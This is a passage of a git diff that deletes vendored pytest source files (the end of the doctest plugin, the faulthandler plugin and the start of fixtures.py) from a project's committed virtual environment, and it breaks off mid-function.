path.suffix in (".txt", ".rst") and parent.session.isinitpath(path): - return True - globs = config.getoption("doctestglob") or ["test*.txt"] - return any(fnmatch_ex(glob, path) for glob in globs) - - -def _is_main_py(path: Path) -> bool: - return path.name == "__main__.py" - - -class ReprFailDoctest(TerminalRepr): - def __init__( - self, reprlocation_lines: Sequence[tuple[ReprFileLocation, Sequence[str]]] - ) -> None: - self.reprlocation_lines = reprlocation_lines - - def toterminal(self, tw: TerminalWriter) -> None: - for reprlocation, lines in self.reprlocation_lines: - for line in lines: - tw.line(line) - reprlocation.toterminal(tw) - - -class MultipleDoctestFailures(Exception): - def __init__(self, failures: Sequence[doctest.DocTestFailure]) -> None: - super().__init__() - self.failures = failures - - -def _init_runner_class() -> type[doctest.DocTestRunner]: - import doctest - - class PytestDoctestRunner(doctest.DebugRunner): - """Runner to collect failures. - - Note that the out variable in this case is a list instead of a - stdout-like object. - """ - - def __init__( - self, - checker: doctest.OutputChecker | None = None, - verbose: bool | None = None, - optionflags: int = 0, - continue_on_failure: bool = True, - ) -> None: - super().__init__(checker=checker, verbose=verbose, optionflags=optionflags) - self.continue_on_failure = continue_on_failure - - def report_failure( - self, - out, - test: doctest.DocTest, - example: doctest.Example, - got: str, - ) -> None: - failure = doctest.DocTestFailure(test, example, got) - if self.continue_on_failure: - out.append(failure) - else: - raise failure - - def report_unexpected_exception( - self, - out, - test: doctest.DocTest, - example: doctest.Example, - exc_info: tuple[type[BaseException], BaseException, types.TracebackType], - ) -> None: - if isinstance(exc_info[1], OutcomeException): - raise exc_info[1] - if isinstance(exc_info[1], bdb.BdbQuit): - outcomes.exit("Quitting debugger") - failure = doctest.UnexpectedException(test, example, exc_info) - if self.continue_on_failure: - out.append(failure) - else: - raise failure - - return PytestDoctestRunner - - -def _get_runner( - checker: doctest.OutputChecker | None = None, - verbose: bool | None = None, - optionflags: int = 0, - continue_on_failure: bool = True, -) -> doctest.DocTestRunner: - # We need this in order to do a lazy import on doctest - global RUNNER_CLASS - if RUNNER_CLASS is None: - RUNNER_CLASS = _init_runner_class() - # Type ignored because the continue_on_failure argument is only defined on - # PytestDoctestRunner, which is lazily defined so can't be used as a type. - return RUNNER_CLASS( # type: ignore - checker=checker, - verbose=verbose, - optionflags=optionflags, - continue_on_failure=continue_on_failure, - ) - - -class DoctestItem(Item): - def __init__( - self, - name: str, - parent: DoctestTextfile | DoctestModule, - runner: doctest.DocTestRunner, - dtest: doctest.DocTest, - ) -> None: - super().__init__(name, parent) - self.runner = runner - self.dtest = dtest - - # Stuff needed for fixture support. - self.obj = None - fm = self.session._fixturemanager - fixtureinfo = fm.getfixtureinfo(node=self, func=None, cls=None) - self._fixtureinfo = fixtureinfo - self.fixturenames = fixtureinfo.names_closure - self._initrequest() - - @classmethod - def from_parent( # type: ignore[override] - cls, - parent: DoctestTextfile | DoctestModule, - *, - name: str, - runner: doctest.DocTestRunner, - dtest: doctest.DocTest, - ) -> Self: - # incompatible signature due to imposed limits on subclass - """The public named constructor.""" - return super().from_parent(name=name, parent=parent, runner=runner, dtest=dtest) - - def _initrequest(self) -> None: - self.funcargs: dict[str, object] = {} - self._request = TopRequest(self, _ispytest=True) # type: ignore[arg-type] - - def setup(self) -> None: - self._request._fillfixtures() - globs = dict(getfixture=self._request.getfixturevalue) - for name, value in self._request.getfixturevalue("doctest_namespace").items(): - globs[name] = value - self.dtest.globs.update(globs) - - def runtest(self) -> None: - _check_all_skipped(self.dtest) - self._disable_output_capturing_for_darwin() - failures: list[doctest.DocTestFailure] = [] - # Type ignored because we change the type of `out` from what - # doctest expects. - self.runner.run(self.dtest, out=failures) # type: ignore[arg-type] - if failures: - raise MultipleDoctestFailures(failures) - - def _disable_output_capturing_for_darwin(self) -> None: - """Disable output capturing. Otherwise, stdout is lost to doctest (#985).""" - if platform.system() != "Darwin": - return - capman = self.config.pluginmanager.getplugin("capturemanager") - if capman: - capman.suspend_global_capture(in_=True) - out, err = capman.read_global_capture() - sys.stdout.write(out) - sys.stderr.write(err) - - # TODO: Type ignored -- breaks Liskov Substitution. - def repr_failure( # type: ignore[override] - self, - excinfo: ExceptionInfo[BaseException], - ) -> str | TerminalRepr: - import doctest - - failures: ( - Sequence[doctest.DocTestFailure | doctest.UnexpectedException] | None - ) = None - if isinstance( - excinfo.value, (doctest.DocTestFailure, doctest.UnexpectedException) - ): - failures = [excinfo.value] - elif isinstance(excinfo.value, MultipleDoctestFailures): - failures = excinfo.value.failures - - if failures is None: - return super().repr_failure(excinfo) - - reprlocation_lines = [] - for failure in failures: - example = failure.example - test = failure.test - filename = test.filename - if test.lineno is None: - lineno = None - else: - lineno = test.lineno + example.lineno + 1 - message = type(failure).__name__ - # TODO: ReprFileLocation doesn't expect a None lineno. - reprlocation = ReprFileLocation(filename, lineno, message) # type: ignore[arg-type] - checker = _get_checker() - report_choice = _get_report_choice(self.config.getoption("doctestreport")) - if lineno is not None: - assert failure.test.docstring is not None - lines = failure.test.docstring.splitlines(False) - # add line numbers to the left of the error message - assert test.lineno is not None - lines = [ - "%03d %s" % (i + test.lineno + 1, x) for (i, x) in enumerate(lines) - ] - # trim docstring error lines to 10 - lines = lines[max(example.lineno - 9, 0) : example.lineno + 1] - else: - lines = [ - "EXAMPLE LOCATION UNKNOWN, not showing all tests of that example" - ] - indent = ">>>" - for line in example.source.splitlines(): - lines.append(f"??? {indent} {line}") - indent = "..." - if isinstance(failure, doctest.DocTestFailure): - lines += checker.output_difference( - example, failure.got, report_choice - ).split("\n") - else: - inner_excinfo = ExceptionInfo.from_exc_info(failure.exc_info) - lines += [f"UNEXPECTED EXCEPTION: {inner_excinfo.value!r}"] - lines += [ - x.strip("\n") for x in traceback.format_exception(*failure.exc_info) - ] - reprlocation_lines.append((reprlocation, lines)) - return ReprFailDoctest(reprlocation_lines) - - def reportinfo(self) -> tuple[os.PathLike[str] | str, int | None, str]: - return self.path, self.dtest.lineno, f"[doctest] {self.name}" - - -def _get_flag_lookup() -> dict[str, int]: - import doctest - - return dict( - DONT_ACCEPT_TRUE_FOR_1=doctest.DONT_ACCEPT_TRUE_FOR_1, - DONT_ACCEPT_BLANKLINE=doctest.DONT_ACCEPT_BLANKLINE, - NORMALIZE_WHITESPACE=doctest.NORMALIZE_WHITESPACE, - ELLIPSIS=doctest.ELLIPSIS, - IGNORE_EXCEPTION_DETAIL=doctest.IGNORE_EXCEPTION_DETAIL, - COMPARISON_FLAGS=doctest.COMPARISON_FLAGS, - ALLOW_UNICODE=_get_allow_unicode_flag(), - ALLOW_BYTES=_get_allow_bytes_flag(), - NUMBER=_get_number_flag(), - ) - - -def get_optionflags(config: Config) -> int: - optionflags_str = config.getini("doctest_optionflags") - flag_lookup_table = _get_flag_lookup() - flag_acc = 0 - for flag in optionflags_str: - flag_acc |= flag_lookup_table[flag] - return flag_acc - - -def _get_continue_on_failure(config: Config) -> bool: - continue_on_failure: bool = config.getvalue("doctest_continue_on_failure") - if continue_on_failure: - # We need to turn off this if we use pdb since we should stop at - # the first failure. - if config.getvalue("usepdb"): - continue_on_failure = False - return continue_on_failure - - -class DoctestTextfile(Module): - obj = None - - def collect(self) -> Iterable[DoctestItem]: - import doctest - - # Inspired by doctest.testfile; ideally we would use it directly, - # but it doesn't support passing a custom checker. - encoding = self.config.getini("doctest_encoding") - text = self.path.read_text(encoding) - filename = str(self.path) - name = self.path.name - globs = {"__name__": "__main__"} - - optionflags = get_optionflags(self.config) - - runner = _get_runner( - verbose=False, - optionflags=optionflags, - checker=_get_checker(), - continue_on_failure=_get_continue_on_failure(self.config), - ) - - parser = doctest.DocTestParser() - test = parser.get_doctest(text, globs, name, filename, 0) - if test.examples: - yield DoctestItem.from_parent( - self, name=test.name, runner=runner, dtest=test - ) - - -def _check_all_skipped(test: doctest.DocTest) -> None: - """Raise pytest.skip() if all examples in the given DocTest have the SKIP - option set.""" - import doctest - - all_skipped = all(x.options.get(doctest.SKIP, False) for x in test.examples) - if all_skipped: - skip("all tests skipped by +SKIP option") - - -def _is_mocked(obj: object) -> bool: - """Return if an object is possibly a mock object by checking the - existence of a highly improbable attribute.""" - return ( - safe_getattr(obj, "pytest_mock_example_attribute_that_shouldnt_exist", None) - is not None - ) - - -@contextmanager -def _patch_unwrap_mock_aware() -> Generator[None, None, None]: - """Context manager which replaces ``inspect.unwrap`` with a version - that's aware of mock objects and doesn't recurse into them.""" - real_unwrap = inspect.unwrap - - def _mock_aware_unwrap( - func: Callable[..., Any], *, stop: Callable[[Any], Any] | None = None - ) -> Any: - try: - if stop is None or stop is _is_mocked: - return real_unwrap(func, stop=_is_mocked) - _stop = stop - return real_unwrap(func, stop=lambda obj: _is_mocked(obj) or _stop(func)) - except Exception as e: - warnings.warn( - f"Got {e!r} when unwrapping {func!r}. This is usually caused " - "by a violation of Python's object protocol; see e.g. " - "https://github.com/pytest-dev/pytest/issues/5080", - PytestWarning, - ) - raise - - inspect.unwrap = _mock_aware_unwrap - try: - yield - finally: - inspect.unwrap = real_unwrap - - -class DoctestModule(Module): - def collect(self) -> Iterable[DoctestItem]: - import doctest - - class MockAwareDocTestFinder(doctest.DocTestFinder): - py_ver_info_minor = sys.version_info[:2] - is_find_lineno_broken = ( - py_ver_info_minor < (3, 11) - or (py_ver_info_minor == (3, 11) and sys.version_info.micro < 9) - or (py_ver_info_minor == (3, 12) and sys.version_info.micro < 3) - ) - if is_find_lineno_broken: - - def _find_lineno(self, obj, source_lines): - """On older Pythons, doctest code does not take into account - `@property`. https://github.com/python/cpython/issues/61648 - - Moreover, wrapped Doctests need to be unwrapped so the correct - line number is returned. #8796 - """ - if isinstance(obj, property): - obj = getattr(obj, "fget", obj) - - if hasattr(obj, "__wrapped__"): - # Get the main obj in case of it being wrapped - obj = inspect.unwrap(obj) - - # Type ignored because this is a private function. - return super()._find_lineno( # type:ignore[misc] - obj, - source_lines, - ) - - if sys.version_info < (3, 10): - - def _find( - self, tests, obj, name, module, source_lines, globs, seen - ) -> None: - """Override _find to work around issue in stdlib. - - https://github.com/pytest-dev/pytest/issues/3456 - https://github.com/python/cpython/issues/69718 - """ - if _is_mocked(obj): - return # pragma: no cover - with _patch_unwrap_mock_aware(): - # Type ignored because this is a private function. - super()._find( # type:ignore[misc] - tests, obj, name, module, source_lines, globs, seen - ) - - if sys.version_info < (3, 13): - - def _from_module(self, module, object): - """`cached_property` objects are never considered a part - of the 'current module'. As such they are skipped by doctest. - Here we override `_from_module` to check the underlying - function instead. https://github.com/python/cpython/issues/107995 - """ - if isinstance(object, functools.cached_property): - object = object.func - - # Type ignored because this is a private function. - return super()._from_module(module, object) # type: ignore[misc] - - try: - module = self.obj - except Collector.CollectError: - if self.config.getvalue("doctest_ignore_import_errors"): - skip(f"unable to import module {self.path!r}") - else: - raise - - # While doctests currently don't support fixtures directly, we still - # need to pick up autouse fixtures. - self.session._fixturemanager.parsefactories(self) - - # Uses internal doctest module parsing mechanism. - finder = MockAwareDocTestFinder() - optionflags = get_optionflags(self.config) - runner = _get_runner( - verbose=False, - optionflags=optionflags, - checker=_get_checker(), - continue_on_failure=_get_continue_on_failure(self.config), - ) - - for test in finder.find(module, module.__name__): - if test.examples: # skip empty doctests - yield DoctestItem.from_parent( - self, name=test.name, runner=runner, dtest=test - ) - - -def _init_checker_class() -> type[doctest.OutputChecker]: - import doctest - import re - - class LiteralsOutputChecker(doctest.OutputChecker): - # Based on doctest_nose_plugin.py from the nltk project - # (https://github.com/nltk/nltk) and on the "numtest" doctest extension - # by Sebastien Boisgerault (https://github.com/boisgera/numtest). - - _unicode_literal_re = re.compile(r"(\W|^)[uU]([rR]?[\'\"])", re.UNICODE) - _bytes_literal_re = re.compile(r"(\W|^)[bB]([rR]?[\'\"])", re.UNICODE) - _number_re = re.compile( - r""" - (?P - (?P - (?P [+-]?\d*)\.(?P\d+) - | - (?P [+-]?\d+)\. - ) - (?: - [Ee] - (?P [+-]?\d+) - )? - | - (?P [+-]?\d+) - (?: - [Ee] - (?P [+-]?\d+) - ) - ) - """, - re.VERBOSE, - ) - - def check_output(self, want: str, got: str, optionflags: int) -> bool: - if super().check_output(want, got, optionflags): - return True - - allow_unicode = optionflags & _get_allow_unicode_flag() - allow_bytes = optionflags & _get_allow_bytes_flag() - allow_number = optionflags & _get_number_flag() - - if not allow_unicode and not allow_bytes and not allow_number: - return False - - def remove_prefixes(regex: Pattern[str], txt: str) -> str: - return re.sub(regex, r"\1\2", txt) - - if allow_unicode: - want = remove_prefixes(self._unicode_literal_re, want) - got = remove_prefixes(self._unicode_literal_re, got) - - if allow_bytes: - want = remove_prefixes(self._bytes_literal_re, want) - got = remove_prefixes(self._bytes_literal_re, got) - - if allow_number: - got = self._remove_unwanted_precision(want, got) - - return super().check_output(want, got, optionflags) - - def _remove_unwanted_precision(self, want: str, got: str) -> str: - wants = list(self._number_re.finditer(want)) - gots = list(self._number_re.finditer(got)) - if len(wants) != len(gots): - return got - offset = 0 - for w, g in zip(wants, gots): - fraction: str | None = w.group("fraction") - exponent: str | None = w.group("exponent1") - if exponent is None: - exponent = w.group("exponent2") - precision = 0 if fraction is None else len(fraction) - if exponent is not None: - precision -= int(exponent) - if float(w.group()) == approx(float(g.group()), abs=10**-precision): - # They're close enough. Replace the text we actually - # got with the text we want, so that it will match when we - # check the string literally. - got = ( - got[: g.start() + offset] + w.group() + got[g.end() + offset :] - ) - offset += w.end() - w.start() - (g.end() - g.start()) - return got - - return LiteralsOutputChecker - - -def _get_checker() -> doctest.OutputChecker: - """Return a doctest.OutputChecker subclass that supports some - additional options: - - * ALLOW_UNICODE and ALLOW_BYTES options to ignore u'' and b'' - prefixes (respectively) in string literals. Useful when the same - doctest should run in Python 2 and Python 3. - - * NUMBER to ignore floating-point differences smaller than the - precision of the literal number in the doctest. - - An inner class is used to avoid importing "doctest" at the module - level. - """ - global CHECKER_CLASS - if CHECKER_CLASS is None: - CHECKER_CLASS = _init_checker_class() - return CHECKER_CLASS() - - -def _get_allow_unicode_flag() -> int: - """Register and return the ALLOW_UNICODE flag.""" - import doctest - - return doctest.register_optionflag("ALLOW_UNICODE") - - -def _get_allow_bytes_flag() -> int: - """Register and return the ALLOW_BYTES flag.""" - import doctest - - return doctest.register_optionflag("ALLOW_BYTES") - - -def _get_number_flag() -> int: - """Register and return the NUMBER flag.""" - import doctest - - return doctest.register_optionflag("NUMBER") - - -def _get_report_choice(key: str) -> int: - """Return the actual `doctest` module flag value. - - We want to do it as late as possible to avoid importing `doctest` and all - its dependencies when parsing options, as it adds overhead and breaks tests. - """ - import doctest - - return { - DOCTEST_REPORT_CHOICE_UDIFF: doctest.REPORT_UDIFF, - DOCTEST_REPORT_CHOICE_CDIFF: doctest.REPORT_CDIFF, - DOCTEST_REPORT_CHOICE_NDIFF: doctest.REPORT_NDIFF, - DOCTEST_REPORT_CHOICE_ONLY_FIRST_FAILURE: doctest.REPORT_ONLY_FIRST_FAILURE, - DOCTEST_REPORT_CHOICE_NONE: 0, - }[key] - - -@fixture(scope="session") -def doctest_namespace() -> dict[str, Any]: - """Fixture that returns a :py:class:`dict` that will be injected into the - namespace of doctests. - - Usually this fixture is used in conjunction with another ``autouse`` fixture: - - .. code-block:: python - - @pytest.fixture(autouse=True) - def add_np(doctest_namespace): - doctest_namespace["np"] = numpy - - For more details: :ref:`doctest_namespace`. - """ - return dict() diff --git a/backend/venv/Lib/site-packages/_pytest/faulthandler.py b/backend/venv/Lib/site-packages/_pytest/faulthandler.py deleted file mode 100644 index 07e60f03..00000000 --- a/backend/venv/Lib/site-packages/_pytest/faulthandler.py +++ /dev/null @@ -1,104 +0,0 @@ -from __future__ import annotations - -import os -import sys -from typing import Generator - -from _pytest.config import Config -from _pytest.config.argparsing import Parser -from _pytest.nodes import Item -from _pytest.stash import StashKey -import pytest - - -fault_handler_original_stderr_fd_key = StashKey[int]() -fault_handler_stderr_fd_key = StashKey[int]() - - -def pytest_addoption(parser: Parser) -> None: - help = ( - "Dump the traceback of all threads if a test takes " - "more than TIMEOUT seconds to finish" - ) - parser.addini("faulthandler_timeout", help, default=0.0) - - -def pytest_configure(config: Config) -> None: - import faulthandler - - # at teardown we want to restore the original faulthandler fileno - # but faulthandler has no api to return the original fileno - # so here we stash the stderr fileno to be used at teardown - # sys.stderr and sys.__stderr__ may be closed or patched during the session - # so we can't rely on their values being good at that point (#11572). - stderr_fileno = get_stderr_fileno() - if faulthandler.is_enabled(): - config.stash[fault_handler_original_stderr_fd_key] = stderr_fileno - config.stash[fault_handler_stderr_fd_key] = os.dup(stderr_fileno) - faulthandler.enable(file=config.stash[fault_handler_stderr_fd_key]) - - -def pytest_unconfigure(config: Config) -> None: - import faulthandler - - faulthandler.disable() - # Close the dup file installed during pytest_configure. - if fault_handler_stderr_fd_key in config.stash: - os.close(config.stash[fault_handler_stderr_fd_key]) - del config.stash[fault_handler_stderr_fd_key] - # Re-enable the faulthandler if it was originally enabled. - if fault_handler_original_stderr_fd_key in config.stash: - faulthandler.enable(config.stash[fault_handler_original_stderr_fd_key]) - del config.stash[fault_handler_original_stderr_fd_key] - - -def get_stderr_fileno() -> int: - try: - fileno = sys.stderr.fileno() - # The Twisted Logger will return an invalid file descriptor since it is not backed - # by an FD. So, let's also forward this to the same code path as with pytest-xdist. - if fileno == -1: - raise AttributeError() - return fileno - except (AttributeError, ValueError): - # pytest-xdist monkeypatches sys.stderr with an object that is not an actual file. - # https://docs.python.org/3/library/faulthandler.html#issue-with-file-descriptors - # This is potentially dangerous, but the best we can do. - return sys.__stderr__.fileno() - - -def get_timeout_config_value(config: Config) -> float: - return float(config.getini("faulthandler_timeout") or 0.0) - - -@pytest.hookimpl(wrapper=True, trylast=True) -def pytest_runtest_protocol(item: Item) -> Generator[None, object, object]: - timeout = get_timeout_config_value(item.config) - if timeout > 0: - import faulthandler - - stderr = item.config.stash[fault_handler_stderr_fd_key] - faulthandler.dump_traceback_later(timeout, file=stderr) - try: - return (yield) - finally: - faulthandler.cancel_dump_traceback_later() - else: - return (yield) - - -@pytest.hookimpl(tryfirst=True) -def pytest_enter_pdb() -> None: - """Cancel any traceback dumping due to timeout before entering pdb.""" - import faulthandler - - faulthandler.cancel_dump_traceback_later() - - -@pytest.hookimpl(tryfirst=True) -def pytest_exception_interact() -> None: - """Cancel any traceback dumping due to an interactive exception being - raised.""" - import faulthandler - - faulthandler.cancel_dump_traceback_later() diff --git a/backend/venv/Lib/site-packages/_pytest/fixtures.py b/backend/venv/Lib/site-packages/_pytest/fixtures.py deleted file mode 100644 index 7d0b40b1..00000000 --- a/backend/venv/Lib/site-packages/_pytest/fixtures.py +++ /dev/null @@ -1,1922 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import abc -from collections import defaultdict -from collections import deque -import dataclasses -import functools -import inspect -import os -from pathlib import Path -import sys -import types -from typing import AbstractSet -from typing import Any -from typing import Callable -from typing import cast -from typing import Dict -from typing import Final -from typing import final -from typing import Generator -from typing import Generic -from typing import Iterable -from typing import Iterator -from typing import Mapping -from typing import MutableMapping -from typing import NoReturn -from typing import Optional -from typing import OrderedDict -from typing import overload -from typing import Sequence -from typing import Tuple -from typing import TYPE_CHECKING -from typing import TypeVar -from typing import Union -import warnings - -import _pytest -from _pytest import nodes -from _pytest._code import getfslineno -from _pytest._code import Source -from _pytest._code.code import FormattedExcinfo -from _pytest._code.code import TerminalRepr -from _pytest._io import TerminalWriter -from _pytest.compat import _PytestWrapper -from _pytest.compat import assert_never -from _pytest.compat import get_real_func -from _pytest.compat import get_real_method -from _pytest.compat import getfuncargnames -from _pytest.compat import getimfunc -from _pytest.compat import getlocation -from _pytest.compat import is_generator -from _pytest.compat import NOTSET -from _pytest.compat import NotSetType -from _pytest.compat import safe_getattr -from _pytest.config import _PluggyPlugin -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.deprecated import MARKED_FIXTURE -from _pytest.deprecated import YIELD_FIXTURE -from _pytest.main import Session -from _pytest.mark import Mark -from _pytest.mark import ParameterSet -from _pytest.mark.structures import MarkDecorator -from _pytest.outcomes import fail -from _pytest.outcomes import skip -from _pytest.outcomes import TEST_OUTCOME -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath -from _pytest.scope import _ScopeName -from _pytest.scope import HIGH_SCOPES -from _pytest.scope import Scope - - -if sys.version_info < (3, 11): - from exceptiongroup import BaseExceptionGroup - - -if TYPE_CHECKING: - from _pytest.python import CallSpec2 - from _pytest.python import Function - from _pytest.python import Metafunc - - -# The value of the fixture -- return/yield of the fixture function (type variable). -FixtureValue = TypeVar("FixtureValue") -# The type of the fixture function (type variable). -FixtureFunction = TypeVar("FixtureFunction", bound=Callable[..., object]) -# The type of a fixture function (type alias generic in fixture value). -_FixtureFunc = Union[ - Callable[..., FixtureValue], Callable[..., Generator[FixtureValue, None, None]] -] -# The type of FixtureDef.cached_result (type alias generic in fixture value). -_FixtureCachedResult = Union[ - Tuple[ - # The result. - FixtureValue, - # Cache key. - object, - None, - ], - Tuple[ - None, - # Cache key. - object, - # The exception and the original traceback. - Tuple[BaseException, Optional[types.TracebackType]], - ], -] - - -@dataclasses.dataclass(frozen=True) -class PseudoFixtureDef(Generic[FixtureValue]): - cached_result: _FixtureCachedResult[FixtureValue] - _scope: Scope - - -def pytest_sessionstart(session: Session) -> None: - session._fixturemanager = FixtureManager(session) - - -def get_scope_package( - node: nodes.Item, - fixturedef: FixtureDef[object], -) -> nodes.Node | None: - from _pytest.python import Package - - for parent in node.iter_parents(): - if isinstance(parent, Package) and parent.nodeid == fixturedef.baseid: - return parent - return node.session - - -def get_scope_node(node: nodes.Node, scope: Scope) -> nodes.Node | None: - import _pytest.python - - if scope is Scope.Function: - # Type ignored because this is actually safe, see: - # https://github.com/python/mypy/issues/4717 - return node.getparent(nodes.Item) # type: ignore[type-abstract] - elif scope is Scope.Class: - return node.getparent(_pytest.python.Class) - elif scope is Scope.Module: - return node.getparent(_pytest.python.Module) - elif scope is Scope.Package: - return node.getparent(_pytest.python.Package) - elif scope is Scope.Session: - return node.getparent(_pytest.main.Session) - else: - assert_never(scope) - - -def getfixturemarker(obj: object) -> FixtureFunctionMarker | None: - """Return fixturemarker or None if it doesn't exist or raised - exceptions.""" - return cast( - Optional[FixtureFunctionMarker], - safe_getattr(obj, "_pytestfixturefunction", None), - ) - - -# Algorithm for sorting on a per-parametrized resource setup basis. -# It is called for Session scope first and performs sorting -# down to the lower scopes such as to minimize number of "high scope" -# setups and teardowns. - - -@dataclasses.dataclass(frozen=True) -class FixtureArgKey: - argname: str - param_index: int - scoped_item_path: Path | None - item_cls: type | None - - -_V = TypeVar("_V") -OrderedSet = Dict[_V, None] - - -def get_parametrized_fixture_argkeys( - item: nodes.Item, scope: Scope -) -> Iterator[FixtureArgKey]: - """Return list of keys for all parametrized arguments which match - the specified scope.""" - assert scope is not Scope.Function - - try: - callspec: CallSpec2 = item.callspec # type: ignore[attr-defined] - except AttributeError: - return - - item_cls = None - if scope is Scope.Session: - scoped_item_path = None - elif scope is Scope.Package: - # Package key = module's directory. - scoped_item_path = item.path.parent - elif scope is Scope.Module: - scoped_item_path = item.path - elif scope is Scope.Class: - scoped_item_path = item.path - item_cls = item.cls # type: ignore[attr-defined] - else: - assert_never(scope) - - for argname in callspec.indices: - if callspec._arg2scope[argname] != scope: - continue - param_index = callspec.indices[argname] - yield FixtureArgKey(argname, param_index, scoped_item_path, item_cls) - - -def reorder_items(items: Sequence[nodes.Item]) -> list[nodes.Item]: - argkeys_by_item: dict[Scope, dict[nodes.Item, OrderedSet[FixtureArgKey]]] = {} - items_by_argkey: dict[ - Scope, dict[FixtureArgKey, OrderedDict[nodes.Item, None]] - ] = {} - for scope in HIGH_SCOPES: - scoped_argkeys_by_item = argkeys_by_item[scope] = {} - scoped_items_by_argkey = items_by_argkey[scope] = defaultdict(OrderedDict) - for item in items: - argkeys = dict.fromkeys(get_parametrized_fixture_argkeys(item, scope)) - if argkeys: - scoped_argkeys_by_item[item] = argkeys - for argkey in argkeys: - scoped_items_by_argkey[argkey][item] = None - - items_set = dict.fromkeys(items) - return list( - reorder_items_atscope( - items_set, argkeys_by_item, items_by_argkey, Scope.Session - ) - ) - - -def reorder_items_atscope( - items: OrderedSet[nodes.Item], - argkeys_by_item: Mapping[Scope, Mapping[nodes.Item, OrderedSet[FixtureArgKey]]], - items_by_argkey: Mapping[ - Scope, Mapping[FixtureArgKey, OrderedDict[nodes.Item, None]] - ], - scope: Scope, -) -> OrderedSet[nodes.Item]: - if scope is Scope.Function or len(items) < 3: - return items - - scoped_items_by_argkey = items_by_argkey[scope] - scoped_argkeys_by_item = argkeys_by_item[scope] - - ignore: set[FixtureArgKey] = set() - items_deque = deque(items) - items_done: OrderedSet[nodes.Item] = {} - while items_deque: - no_argkey_items: OrderedSet[nodes.Item] = {} - slicing_argkey = None - while items_deque: - item = items_deque.popleft() - if item in items_done or item in no_argkey_items: - continue - argkeys = dict.fromkeys( - k for k in scoped_argkeys_by_item.get(item, ()) if k not in ignore - ) - if not argkeys: - no_argkey_items[item] = None - else: - slicing_argkey, _ = argkeys.popitem() - # We don't have to remove relevant items from later in the - # deque because they'll just be ignored. - matching_items = [ - i for i in scoped_items_by_argkey[slicing_argkey] if i in items - ] - for i in reversed(matching_items): - items_deque.appendleft(i) - # Fix items_by_argkey order. - for other_scope in HIGH_SCOPES: - other_scoped_items_by_argkey = items_by_argkey[other_scope] - for argkey in argkeys_by_item[other_scope].get(i, ()): - other_scoped_items_by_argkey[argkey][i] = None - other_scoped_items_by_argkey[argkey].move_to_end( - i, last=False - ) - break - if no_argkey_items: - reordered_no_argkey_items = reorder_items_atscope( - no_argkey_items, argkeys_by_item, items_by_argkey, scope.next_lower() - ) - items_done.update(reordered_no_argkey_items) - if slicing_argkey is not None: - ignore.add(slicing_argkey) - return items_done - - -@dataclasses.dataclass(frozen=True) -class FuncFixtureInfo: - """Fixture-related information for a fixture-requesting item (e.g. test - function). - - This is used to examine the fixtures which an item requests statically - (known during collection). This includes autouse fixtures, fixtures - requested by the `usefixtures` marker, fixtures requested in the function - parameters, and the transitive closure of these. - - An item may also request fixtures dynamically (using `request.getfixturevalue`); - these are not reflected here. - """ - - __slots__ = ("argnames", "initialnames", "names_closure", "name2fixturedefs") - - # Fixture names that the item requests directly by function parameters. - argnames: tuple[str, ...] - # Fixture names that the item immediately requires. These include - # argnames + fixture names specified via usefixtures and via autouse=True in - # fixture definitions. - initialnames: tuple[str, ...] - # The transitive closure of the fixture names that the item requires. - # Note: can't include dynamic dependencies (`request.getfixturevalue` calls). - names_closure: list[str] - # A map from a fixture name in the transitive closure to the FixtureDefs - # matching the name which are applicable to this function. - # There may be multiple overriding fixtures with the same name. The - # sequence is ordered from furthest to closes to the function. - name2fixturedefs: dict[str, Sequence[FixtureDef[Any]]] - - def prune_dependency_tree(self) -> None: - """Recompute names_closure from initialnames and name2fixturedefs. - - Can only reduce names_closure, which means that the new closure will - always be a subset of the old one. The order is preserved. - - This method is needed because direct parametrization may shadow some - of the fixtures that were included in the originally built dependency - tree. In this way the dependency tree can get pruned, and the closure - of argnames may get reduced. - """ - closure: set[str] = set() - working_set = set(self.initialnames) - while working_set: - argname = working_set.pop() - # Argname may be something not included in the original names_closure, - # in which case we ignore it. This currently happens with pseudo - # FixtureDefs which wrap 'get_direct_param_fixture_func(request)'. - # So they introduce the new dependency 'request' which might have - # been missing in the original tree (closure). - if argname not in closure and argname in self.names_closure: - closure.add(argname) - if argname in self.name2fixturedefs: - working_set.update(self.name2fixturedefs[argname][-1].argnames) - - self.names_closure[:] = sorted(closure, key=self.names_closure.index) - - -class FixtureRequest(abc.ABC): - """The type of the ``request`` fixture. - - A request object gives access to the requesting test context and has a - ``param`` attribute in case the fixture is parametrized. - """ - - def __init__( - self, - pyfuncitem: Function, - fixturename: str | None, - arg2fixturedefs: dict[str, Sequence[FixtureDef[Any]]], - fixture_defs: dict[str, FixtureDef[Any]], - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - #: Fixture for which this request is being performed. - self.fixturename: Final = fixturename - self._pyfuncitem: Final = pyfuncitem - # The FixtureDefs for each fixture name requested by this item. - # Starts from the statically-known fixturedefs resolved during - # collection. Dynamically requested fixtures (using - # `request.getfixturevalue("foo")`) are added dynamically. - self._arg2fixturedefs: Final = arg2fixturedefs - # The evaluated argnames so far, mapping to the FixtureDef they resolved - # to. - self._fixture_defs: Final = fixture_defs - # Notes on the type of `param`: - # -`request.param` is only defined in parametrized fixtures, and will raise - # AttributeError otherwise. Python typing has no notion of "undefined", so - # this cannot be reflected in the type. - # - Technically `param` is only (possibly) defined on SubRequest, not - # FixtureRequest, but the typing of that is still in flux so this cheats. - # - In the future we might consider using a generic for the param type, but - # for now just using Any. - self.param: Any - - @property - def _fixturemanager(self) -> FixtureManager: - return self._pyfuncitem.session._fixturemanager - - @property - @abc.abstractmethod - def _scope(self) -> Scope: - raise NotImplementedError() - - @property - def scope(self) -> _ScopeName: - """Scope string, one of "function", "class", "module", "package", "session".""" - return self._scope.value - - @abc.abstractmethod - def _check_scope( - self, - requested_fixturedef: FixtureDef[object] | PseudoFixtureDef[object], - requested_scope: Scope, - ) -> None: - raise NotImplementedError() - - @property - def fixturenames(self) -> list[str]: - """Names of all active fixtures in this request.""" - result = list(self._pyfuncitem.fixturenames) - result.extend(set(self._fixture_defs).difference(result)) - return result - - @property - @abc.abstractmethod - def node(self): - """Underlying collection node (depends on current request scope).""" - raise NotImplementedError() - - @property - def config(self) -> Config: - """The pytest config object associated with this request.""" - return self._pyfuncitem.config - - @property - def function(self): - """Test function object if the request has a per-function scope.""" - if self.scope != "function": - raise AttributeError( - f"function not available in 